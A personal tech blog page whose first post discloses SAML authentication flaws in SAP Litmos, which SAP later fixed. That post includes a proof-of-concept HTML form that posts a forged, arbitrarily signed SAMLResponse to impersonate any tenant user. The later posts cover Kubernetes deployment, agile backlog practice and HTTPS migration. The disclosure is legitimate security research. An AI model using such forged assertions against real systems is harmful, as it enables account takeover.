lescinskas.lt

SAP Litmos broken authentication vulnerability disclosure

Tue, 22 Jun 2021 00:00:00 -0500

Synopsis

SAP Litmos is the online Learning Management System owned and operated by SAP.

During the authentication integration with Litmos using SAML protocol, me and my colleagues identified multiple security vulnerabilities. The most critical one is the identity spoofing, allowing attacker to impersonate to ANY user of the Litmos tenant having SAML-based authentication enabled.

These vulnerabilities have been reported to SAP Product Security Reponse team, and are now being disclosed publicly in this blogpost, in alignment with SAP and in compliance with the SAP Responsible Disclosure Policy.

Vulnerabilities

SAP Litmos supports the SAML Identity Provider-initiated authentication flow only, which is treated as less secure than SP-initiated flow. The weak security baseline, lack of compliance with SAML implementation guides and best practices results in the Broken Authentication exploitation due to the vulnerabilities listed below.

Identity spoofing due to absent verification of the SAML Response signature

SAML Identity provider-initiated flow is done via single HTTP POST request initiated by the end-user in the web browser. There is no state verification mechanism in the Service Provider (SAP Litmos in this case), therefore the authenticity of the request should be done by verifying the request signature.

However, the SAML metadata configuration content does not contain the public key that could be used to verify the SAML Response Request. Request signed with ANY private key is treated as legitimate. This allows attacker to forge the SAML Response object, sign with ANY private key and successfully authenticate as ANY user within the Litmos tenant having SAML integration enabled.

The SAML metadata configuration content example:

<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://example.com">
    <md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
        <md:NameIDFormat>
      urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified
        </md:NameIDFormat>
        <md:NameIDFormat>
      urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress
        </md:NameIDFormat>
        <md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Location="https://example.com" />
        <md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://example.com" />
    </md:IDPSSODescriptor>
</md:EntityDescriptor>

Pinning the public key to the SAML metadata configuration does not take effect - the public key is ignored.

Such SAML Response Request can be successfully used to spoof the identity and break the authentication (changing TENANT-NAME to the respective tenant’s subdomain name is needed beforehand):

<!doctype html5>
<html>
<head>
</head>
<body>
  <form method="post" action="https://TENANT-NAME.litmos.com/integration/splogin">
  <input type="hidden" name="SAMLResponse" value="PFJlc3BvbnNlIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiCnhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIERlc3RpbmF0aW9uPSJodHRwczovL1RFTkFOVC1OQU1FLmxpdG1vcy5jb20vaW50ZWdyYXRpb24vc3Bsb2dpbiIgSUQ9Il80MzFiNWUxNy1kMzZhLTQxNTYtOGU2My1jNjI5MTg3MTljNjQiIElzc3VlSW5zdGFudD0iMjAxOS0wOS0xOFQwODo0ODo0MC4wODQ4NjA2WiIgVmVyc2lvbj0iMi4wIgp4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIj4KPElzc3VlciB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI+aHR0cHM6Ly9leGFtcGxlLmNvbTwvSXNzdWVyPgo8U2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj4KICAgIDxTaWduZWRJbmZvPgogICAgICAgIDxDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvVFIvMjAwMS9SRUMteG1sLWMxNG4tMjAwMTAzMTUiIC8+CiAgICAgICAgPFNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNyc2Etc2hhMSIgLz4KICAgICAgICA8UmVmZXJlbmNlIFVSST0iI180MzFiNWUxNy1kMzZhLTQxNTYtOGU2My1jNjI5MTg3MTljNjQiPgogICAgICAgICAgICA8VHJhbnNmb3Jtcz4KICAgICAgICAgICAgICAgIDxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz4KICAgICAgICAgICAgICAgIDxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy9UUi8yMDAxL1JFQy14bWwtYzE0bi0yMDAxMDMxNSIgLz4KICAgICAgICAgICAgPC9UcmFuc2Zvcm1zPgogICAgICAgICAgICA8RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI3NoYTEiIC8+CiAgICAgICAgICAgIDxEaWdlc3RWYWx1ZT5iTjA5eml3SmY5N2pYR0RNY2lJWUo0MGRENzQ9PC9EaWdlc3RWYWx1ZT4KICAgICAgICA8L1JlZmVyZW5jZT4KICAgIDwvU2lnbmVkSW5mbz4KICAgIDxTaWduYXR1cmVWYWx1ZT5TSUdOQVRVUkUtU0lHTkVELVVTSU5HLUFOWS1QUklWQVRFLUtFWTwvU2lnbmF0dXJlVmFsdWU+CiAgICA8S2V5SW5mbz4KICAgICAgICA8WDUwOURhdGE+CiAgICAgICAgICAgIDxYNTA5Q2VydGlmaWNhdGU+PC9YNTA5Q2VydGlmaWNhdGU+CiAgICAgICAgPC9YNTA5RGF0YT4KICAgIDwvS2V5SW5mbz4KPC9TaWduYXR1cmU+CjxTdGF0dXM+CiAgICA8U3RhdHVzQ29kZSBWYWx1ZT0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnN0YXR1czpTdWNjZXNzIiAvPgo8L1N0YXR1cz4KPEFzc2VydGlvbiBJRD0iXzUwNzg2ZDJhLTEzYTEtNDZkMS1iZWVlLWRiNTBlOWZjY2RiZiIgSXNzdWVJbnN0YW50PSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIiBWZXJzaW9uPSIyLjAiCiAgICB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI+CiAgICA8SXNzdWVyPmh0dHBzOi8vZXhhbXBsZS5jb208L0lzc3Vlcj4KICAgIDxTdWJqZWN0PgogICAgICAgIDxOYW1lSUQgTmFtZVF1YWxpZmllcj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI+U1BPT0ZFRC1VU0VSLUlERU5USUZJRVI8L05hbWVJRD4KICAgICAgICA8U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPgogICAgICAgICAgICA8U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDE5LTA5LTE4VDA4OjUzOjQwLjA4NDg2MDZaIiBSZWNpcGllbnQ9Imh0dHBzOi8vVEVOQU5ULU5BTUUubGl0bW9zLmNvbS9pbnRlZ3JhdGlvbi9zcGxvZ2luIiAvPgogICAgICAgIDwvU3ViamVjdENvbmZpcm1hdGlvbj4KICAgIDwvU3ViamVjdD4KICAgIDxDb25kaXRpb25zIE5vdE9uT3JBZnRlcj0iMjAxOS0wOS0xOFQwODo1Mzo0MC4wODQ4NjA2WiIgTm90QmVmb3JlPSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIj4KICAgICAgICA8QXVkaWVuY2VSZXN0cmljdGlvbj4KICAgICAgICAgICAgPEF1ZGllbmNlPmh0dHBzOi8vVEVOQU5ULU5BTUUubGl0bW9zLmNvbS9pbnRlZ3JhdGlvbi9zcGxvZ2luPC9BdWRpZW5jZT4KICAgICAgICA8L0F1ZGllbmNlUmVzdHJpY3Rpb24+CiAgICA8L0NvbmRpdGlvbnM+CiAgICA8QXV0aG5TdGF0ZW1lbnQgQXV0aG5JbnN0YW50PSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIj4KICAgICAgICA8QXV0aG5Db250ZXh0PgogICAgICAgICAgICA8QXV0aG5Db250ZXh0Q2xhc3NSZWY+QXV0aG5Db250ZXh0Q2xhc3NSZWY8L0F1dGhuQ29udGV4dENsYXNzUmVmPgogICAgICAgIDwvQXV0aG5Db250ZXh0PgogICAgPC9BdXRoblN0YXRlbWVudD4KICAgIDxBdHRyaWJ1dGVTdGF0ZW1lbnQ+CiAgICAgICAgPEF0dHJpYnV0ZSBOYW1lPSJGaXJzdE5hbWUiIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiPgogICAgICAgICAgICA8QXR0cmlidXRlVmFsdWU+U3Bvb2ZlZCBuYW1lPC9BdHRyaWJ1dGVWYWx1ZT4KICAgICAgICA8L0F0dHJpYnV0ZT4KICAgICAgICA8QXR0cmlidXRlIE5hbWU9Ikxhc3ROYW1lIiBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIj4KICAgICAgICAgICAgPEF0dHJpYnV0ZVZhbHVlPlNwb29mZWQgc3VybmFtZTwvQXR0cmlidXRlVmFsdWU+CiAgICAgICAgPC9BdHRyaWJ1dGU+CiAgICAgICAgPEF0dHJpYnV0ZSBOYW1lPSJFbWFpbCIgTmFtZUZvcm1hdD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmF0dHJuYW1lLWZvcm1hdDpiYXNpYyI+CiAgICAgICAgICAgIDxBdHRyaWJ1dGVWYWx1ZT5zcG9vZmVkLWVtYWlsQGV4YW1wbGUuY29tPC9BdHRyaWJ1dGVWYWx1ZT4KICAgICAgICA8L0F0dHJpYnV0ZT4KICAgIDwvQXR0cmlidXRlU3RhdGVtZW50Pgo8L0Fzc2VydGlvbj4KPC9SZXNwb25zZT4=" />
  <input type="submit" value="Submit"/>
  </form>
</body>
</html>

where the SAMLResponse is Base64-encoded value of such XML document:

<Response xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Destination="https://TENANT-NAME.litmos.com/integration/splogin" ID="_431b5e17-d36a-4156-8e63-c62918719c64" IssueInstant="2019-09-18T08:48:40.0848606Z" Version="2.0"
    xmlns="urn:oasis:names:tc:SAML:2.0:protocol">
    <Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">https://example.com</Issuer>
    <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
        <SignedInfo>
            <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
            <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
            <Reference URI="#_431b5e17-d36a-4156-8e63-c62918719c64">
                <Transforms>
                    <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
                    <Transform Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315" />
                </Transforms>
                <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1" />
                <DigestValue>bN09ziwJf97jXGDMciIYJ40dD74=</DigestValue>
            </Reference>
        </SignedInfo>
        <SignatureValue>SIGNATURE-SIGNED-USING-ANY-PRIVATE-KEY</SignatureValue>
        <KeyInfo>
            <X509Data>
                <X509Certificate></X509Certificate>
            </X509Data>
        </KeyInfo>
    </Signature>
    <Status>
        <StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </Status>
    <Assertion ID="_50786d2a-13a1-46d1-beee-db50e9fccdbf" IssueInstant="2019-09-18T08:48:40.0848606Z" Version="2.0"
        xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
        <Issuer>https://example.com</Issuer>
        <Subject>
            <NameID NameQualifier="https://example.com">SPOOFED-USER-IDENTIFIER</NameID>
            <SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <SubjectConfirmationData NotOnOrAfter="2019-09-18T08:53:40.0848606Z" Recipient="https://TENANT-NAME.litmos.com/integration/splogin" />
            </SubjectConfirmation>
        </Subject>
        <Conditions NotOnOrAfter="2019-09-18T08:53:40.0848606Z" NotBefore="2019-09-18T08:48:40.0848606Z">
            <AudienceRestriction>
                <Audience>https://TENANT-NAME.litmos.com/integration/splogin</Audience>
            </AudienceRestriction>
        </Conditions>
        <AuthnStatement AuthnInstant="2019-09-18T08:48:40.0848606Z">
            <AuthnContext>
                <AuthnContextClassRef>AuthnContextClassRef</AuthnContextClassRef>
            </AuthnContext>
        </AuthnStatement>
        <AttributeStatement>
            <Attribute Name="FirstName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <AttributeValue>Spoofed name</AttributeValue>
            </Attribute>
            <Attribute Name="LastName" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <AttributeValue>Spoofed surname</AttributeValue>
            </Attribute>
            <Attribute Name="Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
                <AttributeValue>spoofed-email@example.com</AttributeValue>
            </Attribute>
        </AttributeStatement>
    </Assertion>
</Response>

SAP issue reference ID: 1980479777

Identity spoofing due to lack of identity provider origin verification

In addition to the aforementioned vulnerability, there is no Identity Provider origin check (i.e. verification of the HTTP Referrer header).

This weakness can lead to the identity spoofing utilizing the Identity Provider’s development environment, or any other web origin used to submit the SAML Response from. Combining it with the aforementioned weakness, multiple attack scenarios can be exploited.

SAP issue reference ID: 1980479778

Request replay vulnerability

The SAML Response Request form can be submitted multiple times, allowing the attacker to replay the authentication event and login on behalf of the victim.

The SAML Response root element contains the attribute ID, but SAP Litmos does not use it as “nonce” value.

SAP issue reference ID: 1980479775

Identity spoofing via username clash vulnerability

The weakness exists due to lack of separation of the federated and locally-created user accounts in Litmos, and due to the username attribute that is used to match the users.

Attack scenario:

There is a user johndoe created manually in Litmos. This user account has a “Account Owner” role.
There is a different user with the same username johndoe in the external Identity Provider. These users are not anyhow linked together.
The user authenticated via the SAML, will automatically be logged-in to the different user account in Litmos, resulting in the Identity Spoofing and Elevation of Privilege.

This weakness can be exploited both accidentally, and exploiting the targeted attack. This can be done by registering either specific usernames in the external Identity Provider, or also by changing the specific user account usernames in Litmos, resulting in different attack vectors.

SAP issue reference ID: 1980479776

Responsible disclosure timeline

2019-09-16 - vulnerabilities reported to Litmos
2019-09-23 - reproduction video files provided and issues elaborated during the online meeting
2019-11-29 - vulnerabilities reported to secure@sap.com in the encrypted format
2019-12-02 - vulnerabilities were acknowledged and had the tracking IDs assigned
2020-03-18 - SAP Product Security Response team confirms the remediation of the vulnerabilities

Continuous deployment to Digital Ocean Kubernetes cluster using Drone and Helm

Mon, 23 Mar 2020 00:00:00 -0500

(image source: https://dribbble.com/digitalocean)

Introduction

Hosting web applications and services in Kubernetes clusters is the common practice nowadays. Most hosting service providers offer managed Kubernetes services.

Digital Ocean is one of the hosting service providers, providing managed Kubernetes service for a resonable price and without cluster fees.

I have recently migrated from Google Kubernetes Engine (GKE) to DigitalOcean and want to share with you how to setup the continuous deployment pipeline to deploy service to DigitalOcean Kubernetes Service (DOKS).

Prerequisites

I assume you already have the Continuous Integration pipeline which builds the application, packages it to Docker images and publishes them to the Container Registry.

Setting up a Kubernetes cluster (node pool) is also out of scope of this blogpost.

There are many great resources on the Internet regarding that: DigitalOcean Kubetnetes Docs, DOKS Github repo, Community website etc.

Helm

In this blogpost I will be using Helm to install the Ingress Controller and to deploy the web application to the Kubernetes cluster.

Helm is a tool used to package and deploy Kubernetes applications (technically - multiple Kubernetes resource files). It is very useful as it:

Uses a templating engine (Go Sprig) allowing to reuse the same Kubernetes resources (services, deployments, ingresses, service accounts etc.) with different values. Also, allowing to use conditional logic, loops etc. in the object files;
Allows applying all objects in a single run (no need to run kubectl apply -f <file> multiple times). Also, allows release versioning and rollbacks;
Provides ability to package (Helm packages are named Charts) and reuse the Kubernetes applications, also distribution via the repositories and package discovery via Helm Hub;
Provides the ability to define dependencies and install them along the Kubernetes application installation via Helm.

The Helm v3 stores all metadata in the Kubernetes cluster as the Secret objects and (unlike previous versions) does not require specific containers (Tiller) to be run in the namespace.

Cluster setup

In order for the application hosted in Kubernetes to receive HTTP requests from the internet, it is needed to install the Ingress Controller.

Nginx ingress controller is one of the most popular ones. It can be installed using Helm very easily:

helm repo add nginx-stable https://helm.nginx.com/stable
helm repo update

helm install <INSTALLATION NAME> nginx-stable/nginx-ingress

Name can be automatically generated using a --generate-name parameter. nginx-stable/nginx-ingress is the Helm Chart from the repository.

For Ingress Controller to be run on multiple nodes, the replica count value should be overridden:

helm install --generate-name --set controller.replicaCount=2 nginx-stable/nginx-ingress

All configuration parameters can be found at https://docs.nginx.com/nginx-ingress-controller/installation/installation-with-helm/.

Deployment using Helm

For the deployment will need to:

Authenticate to DigitalOcean;
Obtain Kubernetes configuration (kubeconfig file);
Perform deployment.

For authentication and kubeconfig generation the doctl command is used. It can be installed locally (i.e. as a Snappy package).

The DigitalOcean access token is needed to perform authentication instead of the personal credentials. The token can be generated in the user interface at https://cloud.digitalocean.com/account/api/tokens.

The authentication is performed using a command:

doctl auth init --access-token <DIGITALOCEAN_ACCESS_TOKEN>

After successful authentication, kubeconfig file can be generated using a command (in tihs case it will be saved to .kubeconfig):

doctl k8s cluster kubeconfig show <CLUSTER_NAME> > .kubeconfig

Having a kubeconfig file which includes the user’s token, we can perform the deployment of the Helm chart using a command:

helm upgrade --install --kubeconfig=.kubeconfig <INSTALLATION_NAME> /path/to/helm/chart

In this case the Chart is stored in the source code. If the Chart was published to the repository, it should have been added before. Values to the Chart can be passed via --set key=value parameter, also having a Values file with multiple values, it can be provided using -f /path/to/values/file.yaml parameter.

Deployment pipeline

I use Drone for Continuous Deployment. It provides deployment pipeline execution for container-based applications, and is availabe both as a service and as a product that can be installed and run on-premises.

There are other tools available, also source hosting services provide native CI/CD services (GitLab CI, Github actions), so the pipelines should be similar when used in other tools.

In the deployment pipeline the following Docker images will be used:

Notes:

doctl in the image is not included in $PATH. Overriding the entrypoint, we will need to provide full path to the doctl which is at /app/doctl.
For the backwards compatibility is is advised to use the specific tag version instead of “latest”. I will be using digitalocean/doctl:1-latest and alpine/helm:3.1.2 at the time of writing.
The DigitalOcean access token will be saved as a Secret in Drone and will be injected to the command from the environment variable.
The deployment will be triggered using a promotion event and will deploy the Docker image tagged with the same name as the tag name in git. The event triggered from tag event which builds and publishes Docker image are out of scope (but should be included in the full pipeline).
The Helm Chart contains the value image:

image:
  repository: docker-owner/docker-repo
  tag: latest

The deployment deploys the pods with the containers from the defined image. We will override the image.tag in the deployment pipeline below. The deployment steps of the pipeline are the following:

- name: Authenticate to DigitalOcean
  image: digitalocean/doctl:1-latest
  when:
    ref: [refs/tags/*]
    event: promote
    target: production
  environment:
    DIGITALOCEAN_ACCESS_TOKEN:
      from_secret: DIGITALOCEAN_ACCESS_TOKEN
  commands:
    - /app/doctl auth init --access-token $DIGITALOCEAN_ACCESS_TOKEN
    - /app/doctl k8s cluster kubeconfig show <CLUSTER_NAME> > .kubeconfig

- name: Deploy Helm Chart to Production
  image: alpine/helm:3.1.2
  when:
    ref: [refs/tags/*]
    event: promote
    target: production
  commands:
    - helm upgrade --install --kubeconfig=.kubeconfig -f /path/to/values/file.yaml --set image.tag=${DRONE_TAG##v} <INSTALLATION_NAME> /path/to/helm/chart

Invoking deployment

Deployment event is meant to promote the specific build (in this case - build invoked on tag event) to the defined environment.

This event can be invoked using a drone CLI application (see CLI reference for more info) or the REST API:

drone build promote <owner>/<repository> <build number> <environment>

It can also be triggered from the source control management system if the webhooks are properly configured in the Repository Settings. In Github case it can be invoked via the REST API:

POST /repos/<OWNER>/<REPOSITORY>/deployments HTTP/1.1
Host: api.github.com
Accept: application/vnd.github.ant-man-preview+json
Content-Type: application/json
Authorization: token  <GITHUB ACCESS TOKEN>

{
  "ref": "<TAG NAME>",
  "payload": "",
  "description": "Promoting production environment to <TAG NAME>",
  "environment": "production"
}

Agile product backlog management

Fri, 29 Nov 2019 00:00:00 -0600

During my career in product development I’ve been working on Agile Product Backlog Management in different roles: as a software engineer, product owner, engineering manager and other stakeholder.

With every team I was working on we had the same questions:

How to accurately plan a Scrum sprint?
How to make a long-term plan?
Should we estimate in story points or hours?
Should we log hours?
When to treat the user story as “Completed”?
Should we reduce the estimate of the incomplete task after the sprint?
Should technical, maintenance tasks and defects (bugs) be treated as the user stories?
etc.

In this blogpost I am sharing what practices I found to be working best, including the answers to the aforementioned questions.

Surely, your mileage may vary, as we’re all working in different environments, have different management and stakeholder expectations and constraints.

Backlog composition

While it sometimes seems that agile product development is about the new feature development, however in practice the engineering team’s effort consists of:

Feature development
Operations/maintenance
Unplanned effort (i.e. defects in production)

These are very different activities and should not be treated the same way. Instead, these types of work should be differentiated. In case we use Jira or other tool for task and backlog management, it would reflect in different task types:

User story
Task
Defect

Different task types allow us to treat them differently: apply different Definition of Ready, Definition of Done, task description, estimate etc.

User story brings business value as added functionality to the end user. It naturally follows the User Story format (“As a … I want … so I could …“). It usually has a direct interaction with the end-user via some interface (UI, API). They are estimated using Story Points (by comparing User Story complexity), prioritized by Product Owner and planned in a roadmap.

Task may be technical task, task for technical analysis (research), operational activity, maintenance task or enabler for other user story. It brings business value by increased system stability, visibility, security, customer satisfaction, managed (reduced) risks and enabling other backlog item delivery. The nature of these tasks is very different, therefore it is difficult to threat them the same way. Estimating them using Story Points doesn’t make sense either. The format doesn’t need to meet the User Story format, but the value still need to be defined and measured where applicable.

Defect is the incorrect system functional or non-functional behavior, discovered after completion of the original task/user story. Like the Task, it doesn’t have a User Story estimate nor User Story format. However, in order to prioritize the defects accordingly, it is needed to identify the threat that is caused by the defect and the risk it poses.

Backlog prioritization, definition of ready

As different task are treated differently, there are obvious differences in specifying details and prioritizing them.

The user stories are prioritized by Product Owner according to the expected Business Value and Estimate (Story Points value).

The tasks are usually the prerequisites for the User Stories, therefore they are naturally prioritized higher and planned to be implemented one or more sprints in advance. The operational or maintenance tasks are usually included to the sprint by default to ensure the stability of the system.

The defects are prioritized according to the Risk they pose. There is no silver bullet how to prioritize them along Business items (User Stories) - the company has to define itself how to measure the value of the Risk mitigation. One of the options is to define the expected remediation time for certain Risk ratings, and then after evaluation of the defect, plan the remediation according to this expectation.

In order to prepare the backlog items for implementation, the Definition of Ready (DoR) needs to be defined. The DoR is the alignment between the Team, Product Owner and other stakeholders on the criteria the item needs to meet, so it could be accepted to Sprint for implementation.

The example of the DoR for the User Story:

The User Story is written in a proper format, all parts (actor, function, value) is clear to the team
Acceptance Criteria (functional and non-functional requirements) is clear (not ambiguous) and testable
Meets INVEST criteria
Dependencies are identified and impediments are removed (i.e. the wireframes/mockups are prepared by UX team; the translations are provided by Translations team etc.)
Business metrics are defined for monitoring

The example of the DoR of the Defect:

The defect is reproducible
The impact (damage, scope etc.) is defined

The DoR for the Task does not have most of these requirements, so if defining them brings value to your team, you can do it for your specific case. The good example of such DoR would be “Service Level Objectives (SLO) are defined”, which results in a mutual business and technical effort, and impacts the Service Level Agreement (SLA) of the product.

In order to meet all criteria for DoR, the backlog items need to be refined in advance (at least 1-2 sprints before the actual implementation), so missing information could be provided either by Product Owner or by certain stakeholders.

Sprint planning, estimating

While the product roadmap (backlog) is owned and maintained by the Product Owner, the sprint plan is the team’s commitment for the certain timebox (sprint).

The content of the sprint is usually the following:

New feature development (User Stories from Product Backlog)
Technical tasks
Maintenance and operational tasks
Leftovers from previous sprints
Unplanned urgent items

As only User Stories are initially estimated using Story Points, the team’s velocity is not sufficient to ensure accuracy of the sprint content. Also, the team’s capacity isn’t constant: team member rotation, annual vacations, planned absences, partial availability etc. directly impacts the sprint capacity. Also, certain factors (i.e. seasonal events) impact how much operations and maintenance is needed. Therefore the mean team’s velocity (Story Points completed per sprint) cannot be automatically planned for the Sprint’s delivery.

The consensus however must be achieved between the Product Owner, team and other stakeholders which features and technical tasks are aimed to be planned for the sprint. This is usually done during the Sprint Planning first part.

What I found useful for the team is to split the tasks into subtasks, estimate them in timed units during the Sprint Planning activity and use this metric to plan the sprint. In such case the team knows up-front its capacity, the operational task effort (from empirical data) and how much feature tasks (User Stories) can be planned. This can be done during the Sprint Planning second part, where the Product Owner participation is rather optional.

Additionally, during the planning, the team may assign certain tasks in advance to specific team members. Due to different knowledge and experience, the esimate can also differ (i.e. during the onboarding period of a team member), although the complexity and the Story Point estimate does not and should not correlate.

It is very important not to try correlating them and to leave purely for the team. While management usually tries to include time in various calculations, it brings more harm, as it results in either “safe” overestimates or cutting quality corners in favor of meeting estimates. I’ve seen this both behaviour and both of them cause negative impact and, what is even worse, this impact is hidden behind good-looking KPIs.

Tracking time, leftovers

When the sprint is planned, there is a question - should the spent time be tracked. Unless there is a strict management requirement to do so, estimating spent time should be done only if the team finds value in it.

I find the value of estimating the operational and maintenance tasks, as such information is useful for planning operational effort. Also, for the finance department it might be relevant when calculating the product capitalization. Regarding tracking feature tasks, it is up for the particualar team whether there is value in doing it. Just beware that exposing such information to other stakeholders is risky, as I mentioned previously.

Another common question is how to handle unfinished sprint items. The common example is “Everything is implemented, tested, but not deployed. Should we complete the User Story?”. I’ve seen various ways teams deal with such leftovers:

Completing the User Story and creating another one
Reestimating the User Story (changing the Story Points) and moving it to the upcoming sprint

Both of these ways are wrong - they create a fake sense of achievement, hide the information of the lead time (the feature is not yet in a production) and distort the User Story attributes (complexity evaluation).

This topic naturally leads to the Definition of Done (DoD) topic. Like the Definition of Ready, the common agreement of the DoD is needed within the team and depends on the product development lifecycle. For example, for products with the timeboxed release cycles (i.e. software is physically shipped every 6 weeks or so), the implementation, testing and integration might be enough to treat the User Story as completed, but for the products where the features are released once they are implemented, the deployment (and likely some post-development activities) should be included in the DoD, meaning that the User Story can be treated as Completed only when the DoD is fully met.

This results in some cases when deployment is left to the upcoming spring on purpose (i.e. if there is a team agreement not to deploy on fridays, or there is some external dependency). And while the User Story would not be completed within the sprint, from the long-term perspective it would not matter that much, as the long-term average team velocity would not change.

As such Subtask would have relatively small timed estimate, the remaining time of the User Story would be quite small as well, so moving the User Story to the upcoming sprint would consume a small part of the upcoming sprint capacity. Also, moving the User Story between sprints ensures the visibility of the lead time. It is a good indicator (i.e. if User Story spans more than 2 sprints) for the Scrum Master to review the impediments for the delivery of the User Story in order to resolve or escalate it.

Velocity and Story Point completeness ratio should not treated as the team’s performance indicator, as it would lead to faking this metric. Hour-completeness ratio may indicate team’s estimation accuracy. It might indicate unforeseen issues (underestimate), or found opportunities (overestimate), that can be reviewed during the retrospective, but this should be left solely to the team.

Definition of Done and non-functional requirements

Here is the example of the Definition of Done:

Functionality is implemented and meets functional requirements (workflows, wireframes and other supplementary functional specifications for the specific User Story)
Code is written and meets non-functional requirements
Code is reviewed by other engineer and merged to the appropriate branch
Functionality is reviewed and verified (accepted) by the Product Owner (applicable to User Stories; for technical tasks QA acceptance might be sufficient)
Functionality is tested (integration tests are implemented, running in certain environment and passing)
Deployed in production (if applicable according to your SDLC)

The DoD needs to be defined and aligned within the engineering team.

For functional requirements we use Confluence and link the specific pages to the Jira task. For easier navigation we prefix the Confluence pages with the Jira issue ID.

The non-functional requirements are both task-specific and generic (applicable for all tasks) for the team. Also, in a large scale organizations, it makes sense to have the generic non-functional requirements within all organization. As a prerequisite, certain requirements, guidelines, policies, services and teams need to be established, but the benefit is the consistency between multiple teams, and engineering efficiency due to centralized services and technical solutions.

Epilogue

Despite certain good practices, it is most important to keep the Agile mindset and support its values. The practices are very specific for the certain organization, product and team, so we need to experiment and look for what works best in the certain situation. The other people’s experience can help achieving results faster, but the specific organizational and technical context should always be considered.

Moving from HTTP to HTTPS

Tue, 29 Oct 2019 00:00:00 -0500

Currently HTTPS (HTTP over TLS) is the de-facto protocol for accessing content in the web. By utilizing public-key infrastructure this protocol ensures the confidentiality and integrity of the data in-transit and the authenticity of the website.

While HTTPS brings many benefits for all parties and is being promoted by the browser vendors and various organizations, its adoption for a large enterprises, especially operating number of domains, can be complicated.

This post is the summary of a practical experience obtained from migrating one large web system to HTTPS.

Preparation and enabling HTTPS

Defining the scope

If you operate more that one domain, it is important to define the scope - for which product(s) the HTTPS will be forced.

If the web application loads the assets (images, CSS stylesheets, JS scripts, fonts etc.) from HTTP origins, this would result in the Mixed Content. Depending on the Mixed Content type (active, passive) it would cause the incorrect behaviour or incorrect visual representation of the application, therefore such changes need to be taked with a proper care and monitoring of the potential impact. The W3C Reporting API can be utilized to identify the impact and to adjust the scope of the change.

Planning

The sample activity plan for the implementation:

Enabling HTTPS
- Obtaining TLS certificate
- Configuring TLS
Reporting and testing
- CSP configuration, tuning
- Manual testing
- Verifying and increasing TTL for NEL reporting
Forcing HTTPS
- Upgrading insecure requests
- Configuring HTTPS redirects
- Configuring cookies
- Enabling Strict Transport Security (HSTS)
- Verifying and increasing TTL for HSTS

There might be additional steps needed. Also, it makes sense to run these activities in Development, Testing and Staging environments first and then replicate the configuration to Production.

For us it took approximately 3 months to do the smooth and safe transition to HTTPS.

Enabling HTTPS

To enable HTTPS in the web system, it is needed to obtain the TLS certificate from the Certificate Authority (CA) and to configure the HTTP(S) server or proxy to support it.

Obtaining certificate

The TLS certificate can be bough from one of many CAs or obtained for free from the non-profit CA Let’s Encrypt.

Let’s Encrypt utilizes the Automated Certificate Management Environment (ACME) protocol to automate the certficate issuing, validation and renewal, therefore the certificate validity is 3 months, thus should be obtained and renewed in the automated manner. The same ACME protocol is used by other CAs as well.

